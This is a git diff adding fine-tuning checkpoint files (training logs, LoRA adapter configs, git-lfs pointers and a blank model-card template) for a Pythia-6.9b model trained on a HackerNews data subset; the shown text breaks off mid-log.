"epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.96632863834112e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-120/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..cfb3b8b09893bc3d66e0e2c754158efbdbe06ff2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b8f134a6da48c4e07bc4e6065cbc408084891c9767af0fc3ce780703207470a9 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..dd4549f309b054caffc5127b53df90872d4dc8c6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2b53bd6a389fff6638c53f590256958a6c6109749c3a36eb44efc3a65b969ef2 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..b60cc4cb8217ae694c7a8efef0eb0b676d897e83 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:602f503f7cd2e84c0b6719714b66d34e98b340f44b02ba8ffc44df096e786100 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..0dae8e46aca4beacf0c154c37d71abe175363a25 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:abdc7730bfbf0869132cbbd456c580122a20a540399e30640d4e51daf6f379d3 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a1ed2766e0aa11e8c5de39a07c8ff48f791c757d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/trainer_state.json @@ -0,0 +1,228 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.7333333333333334, + "eval_steps": 10, + "global_step": 130, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 2.13018935820288e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-130/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..4d407267200faf9d0795e8ea49cb29cd96acdd64 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8b80aa6a95c271b1f346cb9f49884dd07938da5369926f0b771c4c3665c5924c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..8297a3877d4947fa2c459eb5abac127edb621d8c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:816f952454898bc9d70196a9cb96b8a45afd396877bc1a983fd338f8306059e5 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..d05f19f3c7e1e4b728f62f56852d18785b6ab4d0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:03c218af617af689aa7eff2d02ae91fb859e96fcb9571b641c5e95247f137dda +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..b77086a6cbb29f3cd0e1ac947f6c71c390b2dff3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:21a6935970b037ba9fc4b9dc75dbda421fb162f0fa5b7d5502a5e9660c005897 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..3d51a5f2db9bade623f4550899df734ee246b3fd --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-140/trainer_state.json @@ -0,0 +1,243 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.8666666666666667, + "eval_steps": 10, + "global_step": 140, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 